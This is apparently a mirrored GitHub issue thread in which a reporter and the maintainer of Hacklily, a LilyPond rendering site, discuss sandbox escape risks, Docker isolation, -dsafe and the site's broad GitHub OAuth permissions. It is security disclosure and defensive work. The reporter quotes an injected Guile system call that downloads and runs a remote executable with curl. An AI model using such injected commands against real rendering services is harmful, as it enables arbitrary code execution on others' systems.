Comments (12)
Hi @hanwen, thank you for taking the time to post this.
Being able to read /etc/passwd
, or do anything else a normal user would do, from inside the lilypond renderer docker container is unfortunate but expected. You are also likely able to mine cryptocurrency for several seconds, or to break a given renderer docker container until it is restarted. So far, I haven't found a good way of better locking down lilypond itself (-dsafe
and -jail
both have negative consequences) -- let me know if you have other ideas.
If you are able to make network connections or access anything outside the docker container, that would be cause for concern.
from hacklily.
Oh, thank you for all your work on LilyPond, by the way!
from hacklily.
containers are not a security mechanism. All the syscalls are available, which is a gigantic, poorly secured API surface. eg.
https://www.twistlock.com/2017/12/27/escaping-docker-container-using-waitid-cve-2017-5123/
https://blog.paranoidsoftware.com/dirty-cow-cve-2016-5195-docker-container-escape/
in this case, attackers don't have to futz with buffer overflow or heap spraying. They can just do:
#(system "curl -o x http://../exploit && chmod +x x && x")
from hacklily.
in this case, attackers don't have to futz with buffer overflow or heap spraying. They can just do:
#(system "curl -o x http://../exploit && chmod +x x && x")
Network access should be blocked by starting Docker with --net=none
(try, for example #(system "ping 8.8.8.8")
), however that doesn't address your concerns with using Docker as a jail.
Containers are becoming more secure. While I'm sure there will continue to be CVEs that affect Docker, I do not believe that this poses a large risk to hacklily. My understanding is that repl.it, for example, also uses docker for this kind of thing, and is a much bigger target. I'd be more concerned with people messing with the sandbox itself, which is a legitimate issue that I don't have a solution for.
I don't mean to sound dismissive — if you have actionable suggestions on how to improve the security of Hacklily, I would be interested. I'm sure it's possible.
from hacklily.
If you do have a concrete POC, please email it to me at [email protected]
so I can try to address it first.
from hacklily.
I realize you think your site might not be interesting enough, but consider what login does:
"Authorize Hacklily
@hanwenHacklily by hacklily
wants to access your hanwen account
Repositories
Public and private
This application will be able to read and write all public and private repository data. This includes the following:
Code
Issues
Pull requests
Wikis
Settings
Webhooks and services
Deploy keys
Collaboration invites"
ie. if I were to use your site, any exploit of your site can be escalated to exfiltrating my private code and inserting exploits into any of my code.
at a minimum, you should use safe evaluation to avoid the obvious ways in which you can execute arbitrary code.
from hacklily.
ie. if I were to use your site, any exploit of your site can be escalated to exfiltrating my private code and inserting exploits into any of my code.
Hacklily uses DOMPurify on the client to sanitize the output of the server, which should address scripting concerns.
You have a good point about the permissions. I've created #6 and will see about reducing them.
at a minimum, you should use safe evaluation to avoid the obvious ways in which you can execute arbitrary code.
Are you referring to -dsafe
?
from hacklily.
Isn't the client code served from your server too? If the server is exploited all bets are off, and it might serve a booby-trapped client.
yes, I'm referring to -dsafe.
from hacklily.
Isn't the client code served from your server too? If the server is exploited all bets are off, and it might serve a booby-trapped client.
No. The client code is served statically from https://www.hacklily.org. The renderer lives at https://hacklily-render.nettek.ca , on a separate machine.
yes, I'm referring to -dsafe.
I'm going to explore this.
The risk that concerns me and that I am going to try to prevent here is users, within the container, messing with the appearance of subsequent renders. I do not see evidence that within the container, users without state-level resources or 0-days are able to execute JavaScript on the client, access the network, gain root privileges, or escape the sandbox. While not true 2 years ago, it is now common practice to use docker, in certain configurations, as a jail. It's up to you to prove me wrong on those assumptions.
While many songs require inline Guile and imports, which aren't supported by -dsafe
, the majority of songs rendered on Hacklily don't. It would be nice to use -dsafe
where possible and render unsafe code in a container that is not reused. I'm going to explore what would be involved there and decide whether to move forward with that.
Let me know what you think. I appreciate your time on this issue.
from hacklily.
Some research:
- Wikipedia uses firejail, with a similar security profile to this (https://github.com/wikimedia/puppet). Looking at the number of issues resolved by moving from dsafe to firejail (languages, variables, etc.), I'm starting to feel dsafe might not be a reasonable option.
- LilyBin uses Lambda with no additional isolation (system "curl google.com" works) -- see https://github.com/LilyBin/lambda-compile
from hacklily.
edit: I found what I think might be a pretty major security flaw with -dsafe
, which I'll post here later.
I'm not feeling like the -dsafe
path is going to be fruitful.
from hacklily.
Closing due to no actionable next steps.
from hacklily.
Related Issues (20)
- Allow private github repos, improve repo creation process HOT 1
- Error saving to github HOT 5
- Play button doesn't work HOT 4
- Update Lilypond HOT 1
- SVG export
- MusicXML import HOT 2
- "Something went wrong. Could not log you in." when open/save to github. HOT 2
- Is \include expected to work? HOT 2
- Error alert when logging in to GitHub repo
- Thoughts on removing lyp
- "make serve" (as documented in README.md) needs Makefile
- Search over folders
- Music may be played at wrong speed (too fast) HOT 1
- Hacklily editor is broken HOT 1
- "About Hacklily" window cannot be closed
- github error HOT 4
- Lyrics commands are not well handled
- Update Lilypond to 2.24.0
- Problems previewing scores longer than one page
- Building renderer fails HOT 1
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from hacklily.